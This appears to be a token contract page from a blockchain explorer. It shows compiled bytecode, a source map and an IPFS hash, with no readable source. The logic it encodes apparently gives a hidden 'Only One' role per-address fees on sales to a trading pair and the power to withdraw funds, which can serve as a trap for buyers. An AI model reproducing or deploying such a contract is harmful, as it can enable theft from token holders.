5b80356001600160a01b038116811461101b57600080fd5b919050565b60006020828403121561103257600080fd5b610f8982611004565b600060208083528351808285015260005b818110156110685785810183015185820160400152820161104c565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561109c57600080fd5b6110a583611004565b946020939093013593505050565b6000806000606084860312156110c857600080fd5b6110d184611004565b92506110df60208501611004565b9150604084013590509250925092565b801515811461074a57600080fd5b60008060006060848603121561111257600080fd5b61111b84611004565b9250602084013561112b816110ef565b929592945050506040919091013590565b60006020828403121561114e57600080fd5b5035919050565b6000806040838503121561116857600080fd5b61117183611004565b915061117f60208401611004565b90509250929050565b600181811c9082168061119c57607f821691505b6020821081036111bc57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526022908201527f4572726f723a2063616c6c6572206973206e6f7420746865204f6e6c79204f6e604082015261032960f51b606082015260800190565b60006020828403121561121657600080fd5b8151610f89816110ef565b634e487b7160e01b600052601160045260246000fd5b8082018082111561054457610544611221565b8181038181111561054457610544611221565b808202811582820484141761054457610544611221565b60008261129157634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212203cf545725ab7d4a34ea5931bc3d147edf3cc78b4e7013db671120f571167a1ba64736f6c63430008110033

Deployed Bytecode Sourcemap

3718:6608:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4270:42;;;;;;;;;;-1:-1:-1;4270:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;551:25:1;;;619:14;;612:22;607:2;592:18;;585:50;524:18;4270:42:0;;;;;;;;5186:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6433:169::-;;;;;;;;;;-1:-1:-1;6433:169:0;;;;;:::i;:::-;;:::i;:::-;;;1623:14:1;;1616:22;1598:41;;1586:2;1571:18;6433:169:0;1458:187:1;3836:68:0;;;;;;;;;;-1:-1:-1;3836:68:0;;;;-1:-1:-1;;;;;3836:68:0;;;;;;-1:-1:-1;;;;;1814:32:1;;;1796:51;;1784:2;1769:18;3836:68:0;1650:203:1;5750:100:0;;;;;;;;;;-1:-1:-1;5750:100:0;;;;;:::i;:::-;;:::i;:::-;;5965:118;;;;;;;;;;-1:-1:-1;5965:118:0;;;;;:::i;:::-;;:::i;5501:108::-;;;;;;;;;;-1:-1:-1;5589:12:0;;5501:108;;;2004:25:1;;;1992:2;1977:18;5501:108:0;1858:177:1;5091:89:0;;;;;;;;;;-1:-1:-1;5091:89:0;;;;;:::i;:::-;;:::i;6608:507::-;;;;;;;;;;-1:-1:-1;6608:507:0;;;;;:::i;:::-;;:::i;5856:101::-;;;;;;;;;;;;;:::i;5402:93::-;;;;;;;;;;-1:-1:-1;5402:93:0;;5485:2;2515:36:1;;2503:2;2488:18;5402:93:0;2373:184:1;4922:161:0;;;;;;;;;;-1:-1:-1;4922:161:0;;;;;:::i;:::-;;:::i;7121:215::-;;;;;;;;;;-1:-1:-1;7121:215:0;;;;;:::i;:::-;;:::i;4647:91::-;;;;;;;;;;-1:-1:-1;4647:91:0;;;;;:::i;:::-;;:::i;4109:74::-;;;;;;;;;;-1:-1:-1;4109:74:0;;;;-1:-1:-1;;;;;4109:74:0;;;5615:127;;;;;;;;;;-1:-1:-1;5615:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;5716:18:0;5689:7;5716:18;;;:9;:18;;;;;;;5615:127;3239:94;;;;;;;;;;;;;:::i;3020:87::-;;;;;;;;;;-1:-1:-1;3066:7:0;3093:6;-1:-1:-1;;;;;3093:6:0;3020:87;;5292:104;;;;;;;;;;;;;:::i;7342:413::-;;;;;;;;;;-1:-1:-1;7342:413:0;;;;;:::i;:::-;;:::i;6089:181::-;;;;;;;;;;-1:-1:-1;6089:181:0;;;;;:::i;:::-;;:::i;6276:151::-;;;;;;;;;;-1:-1:-1;6276:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;6392:18:0;;;6365:7;6392:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6276:151;3339:192;;;;;;;;;;-1:-1:-1;3339:192:0;;;;;:::i;:::-;;:::i;5186:100::-;5240:13;5273:5;5266:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5186:100;:::o;6433:169::-;6516:4;6533:39;1143:10;6556:7;6565:6;6533:8;:39::i;:::-;-1:-1:-1;6590:4:0;6433:169;;;;;:::o;5750:100::-;4833:8;;-1:-1:-1;;;;;4833:8:0;1143:10;4833:24;4825:71;;;;-1:-1:-1;;;4825:71:0;;;;;;;:::i;:::-;;;;;;;;;5821:8:::1;:21:::0;;-1:-1:-1;;;;;;5821:21:0::1;-1:-1:-1::0;;;;;5821:21:0;;;::::1;::::0;;;::::1;::::0;;5750:100::o;5965:118::-;6058:8;;6035:40;;-1:-1:-1;;;6035:40:0;;-1:-1:-1;;;;;6058:8:0;;;6035:40;;;4485:51:1;4552:18;;;4545:34;;;6035:22:0;;;;;;4458:18:1;;6035:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5965:118;;:::o;5091:89::-;4833:8;;-1:-1:-1;;;;;4833:8:0;1143:10;4833:24;4825:71;;;;-1:-1:-1;;;4825:71:0;;;;;;;:::i;:::-;5153:13:::1;:19:::0;;-1:-1:-1;;;;;;5153:19:0::1;-1:-1:-1::0;;;;;5153:19:0;;;::::1;::::0;;;::::1;::::0;;5091:89::o;6608:507::-;6748:4;6784:36;6794:6;6802:9;6813:6;6784:9;:36::i;:::-;-1:-1:-1;;;;;6858:19:0;;6831:24;6858:19;;;:11;:19;;;;;;;;1143:10;6858:33;;;;;;;;6910:26;;;;6902:79;;;;-1:-1:-1;;;6902:79:0;;5042:2:1;6902:79:0;;;5024:21:1;5081:2;5061:18;;;5054:30;5120:34;5100:18;;;5093:62;-1:-1:-1;;;5171:18:1;;;5164:38;5219:19;;6902:79:0;4840:404:1;6902:79:0;7017:57;7026:6;1143:10;7067:6;7048:16;:25;7017:8;:57::i;:::-;-1:-1:-1;7103:4:0;;6608:507;-1:-1:-1;;;;6608:507:0:o;5856:101::-;5908:8;;5900:49;;-1:-1:-1;;;;;5908:8:0;;;;5927:21;5900:49;;;;;5908:8;5900:49;5908:8;5900:49;5927:21;5908:8;5900:49;;;;;;;;;;;;;;;;;;;;;5856:101::o;4922:161::-;4833:8;;-1:-1:-1;;;;;4833:8:0;1143:10;4833:24;4825:71;;;;-1:-1:-1;;;4825:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5006:13:0;;;::::1;;::::0;;;:4:::1;:13;::::0;;;;:20:::1;::::0;::::1;:29:::0;;-1:-1:-1;;5006:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;5046;4922:161::o;7121:215::-;1143:10;7209:4;7258:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7258:34:0;;;;;;;;;;7209:4;;7226:80;;7249:7;;7258:47;;7295:10;;7258:47;:::i;:::-;7226:8;:80::i;4647:91::-;4833:8;;-1:-1:-1;;;;;4833:8:0;1143:10;4833:24;4825:71;;;;-1:-1:-1;;;4825:71:0;;;;;;;:::i;:::-;4705:25:::1;4711:10;4723:6;4705:5;:25::i;3239:94::-:0;3066:7;3093:6;-1:-1:-1;;;;;3093:6:0;1143:10;3153:23;3145:68;;;;-1:-1:-1;;;3145:68:0;;5713:2:1;3145:68:0;;;5695:21:1;;;5732:18;;;5725:30;5791:34;5771:18;;;5764:62;5843:18;;3145:68:0;5511:356:1;3145:68:0;3304:21:::1;3322:1;3304:9;:21::i;:::-;3239:94::o:0;5292:104::-;5348:13;5381:7;5374:14;;;;;:::i;7342:413::-;1143:10;7435:4;7479:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7479:34:0;;;;;;;;;;7532:35;;;;7524:85;;;;-1:-1:-1;;;7524:85:0;;6074:2:1;7524:85:0;;;6056:21:1;6113:2;6093:18;;;6086:30;6152:34;6132:18;;;6125:62;-1:-1:-1;;;6203:18:1;;;6196:35;6248:19;;7524:85:0;5872:401:1;7524:85:0;7645:67;1143:10;7668:7;7696:15;7677:16;:34;7645:8;:67::i;:::-;-1:-1:-1;7743:4:0;;7342:413;-1:-1:-1;;;7342:413:0:o;6089:181::-;6175:4;6201:40;6211:10;6223:9;6234:6;6201:9;:40::i;3339:192::-;3066:7;3093:6;-1:-1:-1;;;;;3093:6:0;1143:10;3153:23;3145:68;;;;-1:-1:-1;;;3145:68:0;;5713:2:1;3145:68:0;;;5695:21:1;;;5732:18;;;5725:30;5791:34;5771:18;;;5764:62;5843:18;;3145:68:0;5511:356:1;3145:68:0;-1:-1:-1;;;;;3428:22:0;::::1;3420:73;;;::::0;-1:-1:-1;;;3420:73:0;;6480:2:1;3420:73:0::1;::::0;::::1;6462:21:1::0;6519:2;6499:18;;;6492:30;6558:34;6538:18;;;6531:62;-1:-1:-1;;;6609:18:1;;;6602:36;6655:19;;3420:73:0::1;6278:402:1::0;3420:73:0::1;3504:19;3514:8;3504:9;:19::i;9682:380::-:0;-1:-1:-1;;;;;9818:19:0;;9810:68;;;;-1:-1:-1;;;9810:68:0;;6887:2:1;9810:68:0;;;6869:21:1;6926:2;6906:18;;;6899:30;6965:34;6945:18;;;6938:62;-1:-1:-1;;;7016:18:1;;;7009:34;7060:19;;9810:68:0;6685:400:1;9810:68:0;-1:-1:-1;;;;;9897:21:0;;9889:68;;;;-1:-1:-1;;;9889:68:0;;7292:2:1;9889:68:0;;;7274:21:1;7331:2;7311:18;;;7304:30;7370:34;7350:18;;;7343:62;-1:-1:-1;;;7421:18:1;;;7414:32;7463:19;;9889:68:0;7090:398:1;9889:68:0;-1:-1:-1;;;;;9970:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10022:32;;2004:25:1;;;10022:32:0;;1977:18:1;10022:32:0;;;;;;;9682:380;;;:::o;7761:946::-;7935:13;;7893:15;;-1:-1:-1;;;;;7924:24:0;;;7935:13;;7924:24;;:47;;-1:-1:-1;;;;;;7952:12:0;;;;;;:4;:12;;;;;:19;;;;;7924:47;7921:171;;;-1:-1:-1;;;;;8006:12:0;;;;;;:4;:12;;;;;:22;7995:43;;8034:3;;7995:34;;:6;;:10;:34::i;:::-;:38;;:43::i;:::-;7986:52;;7921:171;;;-1:-1:-1;8075:6:0;7921:171;-1:-1:-1;;;;;8110:20:0;;8102:70;;;;-1:-1:-1;;;8102:70:0;;7695:2:1;8102:70:0;;;7677:21:1;7734:2;7714:18;;;7707:30;7773:34;7753:18;;;7746:62;-1:-1:-1;;;7824:18:1;;;7817:35;7869:19;;8102:70:0;7493:401:1;8102:70:0;-1:-1:-1;;;;;8191:23:0;;8183:71;;;;-1:-1:-1;;;8183:71:0;;8101:2:1;8183:71:0;;;8083:21:1;8140:2;8120:18;;;8113:30;8179:34;8159:18;;;8152:62;-1:-1:-1;;;8230:18:1;;;8223:33;8273:19;;8183:71:0;7899:399:1;8183:71:0;-1:-1:-1;;;;;8350:17:0;;8326:21;8350:17;;;:9;:17;;;;;;8386:24;;;;8378:75;;;;-1:-1:-1;;;8378:75:0;;8505:2:1;8378:75:0;;;8487:21:1;8544:2;8524:18;;;8517:30;8583:34;8563:18;;;8556:62;-1:-1:-1;;;8634:18:1;;;8627:36;8680:19;;8378:75:0;8303:402:1;8378:75:0;-1:-1:-1;;;;;8489:17:0;;;;;;;:9;:17;;;;;;8509:23;;;8489:43;;8554:20;;;;;;;;:31;;8525:7;;8489:17;8554:31;;8525:7;;8554:31;:::i;:::-;;;;;;;;8620:9;-1:-1:-1;;;;;8603:36:0;8612:6;-1:-1:-1;;;;;8603:36:0;;8631:7;8603:36;;;;2004:25:1;;1992:2;1977:18;;1858:177;8603:36:0;;;;;;;;7882:825;;7761:946;;;:::o;9085:591::-;-1:-1:-1;;;;;9169:21:0;;9161:67;;;;-1:-1:-1;;;9161:67:0;;8912:2:1;9161:67:0;;;8894:21:1;8951:2;8931:18;;;8924:30;8990:34;8970:18;;;8963:62;-1:-1:-1;;;9041:18:1;;;9034:31;9082:19;;9161:67:0;8710:397:1;9161:67:0;-1:-1:-1;;;;;9328:18:0;;9303:22;9328:18;;;:9;:18;;;;;;9365:24;;;;9357:71;;;;-1:-1:-1;;;9357:71:0;;9314:2:1;9357:71:0;;;9296:21:1;9353:2;9333:18;;;9326:30;9392:34;9372:18;;;9365:62;-1:-1:-1;;;9443:18:1;;;9436:32;9485:19;;9357:71:0;9112:398:1;9357:71:0;-1:-1:-1;;;;;9464:18:0;;;;;;:9;:18;;;;;9485:23;;;9464:44;;9530:12;:22;;9502:6;;9464:18;9530:22;;9502:6;;9530:22;:::i;:::-;;;;-1:-1:-1;;9570:37:0;;2004:25:1;;;9596:1:0;;-1:-1:-1;;;;;9570:37:0;;;;;1992:2:1;1977:18;9570:37:0;;;;;;;6035:40;5965:118;;:::o;3539:174::-;3596:16;3615:6;;-1:-1:-1;;;;;3632:17:0;;;-1:-1:-1;;;;;;3632:17:0;;;;;;3665:40;;3615:6;;;;;;;3665:40;;3596:16;3665:40;3585:128;3539:174;:::o;1834:250::-;1892:7;1916:1;1921;1916:6;1912:47;;-1:-1:-1;1946:1:0;1939:8;;1912:47;1971:9;1983:5;1987:1;1983;:5;:::i;:::-;1971:17;-1:-1:-1;2016:1:0;2007:5;2011:1;1971:17;2007:5;:::i;:::-;:10;1999:56;;;;-1:-1:-1;;;1999:56:0;;10245:2:1;1999:56:0;;;10227:21:1;10284:2;10264:18;;;10257:30;10323:34;10303:18;;;10296:62;-1:-1:-1;;;10374:18:1;;;10367:31;10415:19;;1999:56:0;10043:397:1;1999:56:0;2075:1;1834:250;-1:-1:-1;;;1834:250:0:o;2092:132::-;2150:7;2177:39;2181:1;2184;2177:39;;;;;;;;;;;;;;;;;2318:7;2353:12;2346:5;2338:28;;;;-1:-1:-1;;;2338:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2377:9:0;2389:5;2393:1;2389;:5;:::i;:::-;2377:17;2232:278;-1:-1:-1;;;;;2232:278:0:o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:186::-;251:6;304:2;292:9;283:7;279:23;275:32;272:52;;;320:1;317;310:12;272:52;343:29;362:9;343:29;:::i;646:548::-;758:4;787:2;816;805:9;798:21;848:6;842:13;891:6;886:2;875:9;871:18;864:34;916:1;926:140;940:6;937:1;934:13;926:140;;;1035:14;;;1031:23;;1025:30;1001:17;;;1020:2;997:26;990:66;955:10;;926:140;;;930:3;1115:1;1110:2;1101:6;1090:9;1086:22;1082:31;1075:42;1185:2;1178;1174:7;1169:2;1161:6;1157:15;1153:29;1142:9;1138:45;1134:54;1126:62;;;;646:548;;;;:::o;1199:254::-;1267:6;1275;1328:2;1316:9;1307:7;1303:23;1299:32;1296:52;;;1344:1;1341;1334:12;1296:52;1367:29;1386:9;1367:29;:::i;:::-;1357:39;1443:2;1428:18;;;;1415:32;;-1:-1:-1;;;1199:254:1:o;2040:328::-;2117:6;2125;2133;2186:2;2174:9;2165:7;2161:23;2157:32;2154:52;;;2202:1;2199;2192:12;2154:52;2225:29;2244:9;2225:29;:::i;:::-;2215:39;;2273:38;2307:2;2296:9;2292:18;2273:38;:::i;:::-;2263:48;;2358:2;2347:9;2343:18;2330:32;2320:42;;2040:328;;;;;:::o;2562:118::-;2648:5;2641:13;2634:21;2627:5;2624:32;2614:60;;2670:1;2667;2660:12;2685:383;2759:6;2767;2775;2828:2;2816:9;2807:7;2803:23;2799:32;2796:52;;;2844:1;2841;2834:12;2796:52;2867:29;2886:9;2867:29;:::i;:::-;2857:39;;2946:2;2935:9;2931:18;2918:32;2959:28;2981:5;2959:28;:::i;:::-;2685:383;;3006:5;;-1:-1:-1;;;3058:2:1;3043:18;;;;3030:32;;2685:383::o;3073:180::-;3132:6;3185:2;3173:9;3164:7;3160:23;3156:32;3153:52;;;3201:1;3198;3191:12;3153:52;-1:-1:-1;3224:23:1;;3073:180;-1:-1:-1;3073:180:1:o;3258:260::-;3326:6;3334;3387:2;3375:9;3366:7;3362:23;3358:32;3355:52;;;3403:1;3400;3393:12;3355:52;3426:29;3445:9;3426:29;:::i;:::-;3416:39;;3474:38;3508:2;3497:9;3493:18;3474:38;:::i;:::-;3464:48;;3258:260;;;;;:::o;3523:380::-;3602:1;3598:12;;;;3645;;;3666:61;;3720:4;3712:6;3708:17;3698:27;;3666:61;3773:2;3765:6;3762:14;3742:18;3739:38;3736:161;;3819:10;3814:3;3810:20;3807:1;3800:31;3854:4;3851:1;3844:15;3882:4;3879:1;3872:15;3736:161;;3523:380;;;:::o;3908:398::-;4110:2;4092:21;;;4149:2;4129:18;;;4122:30;4188:34;4183:2;4168:18;;4161:62;-1:-1:-1;;;4254:2:1;4239:18;;4232:32;4296:3;4281:19;;3908:398::o;4590:245::-;4657:6;4710:2;4698:9;4689:7;4685:23;4681:32;4678:52;;;4726:1;4723;4716:12;4678:52;4758:9;4752:16;4777:28;4799:5;4777:28;:::i;5249:127::-;5310:10;5305:3;5301:20;5298:1;5291:31;5341:4;5338:1;5331:15;5365:4;5362:1;5355:15;5381:125;5446:9;;;5467:10;;;5464:36;;;5480:18;;:::i;9515:128::-;9582:9;;;9603:11;;;9600:37;;;9617:18;;:::i;9648:168::-;9721:9;;;9752;;9769:15;;;9763:22;;9749:37;9739:71;;9790:18;;:::i;9821:217::-;9861:1;9887;9877:132;;9931:10;9926:3;9922:20;9919:1;9912:31;9966:4;9963:1;9956:15;9994:4;9991:1;9984:15;9877:132;-1:-1:-1;10023:9:1;;9821:217::o

Swarm Source

ipfs://3cf545725ab7d4a34ea5931bc3d147edf3cc78b4e7013db671120f571167a1ba
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.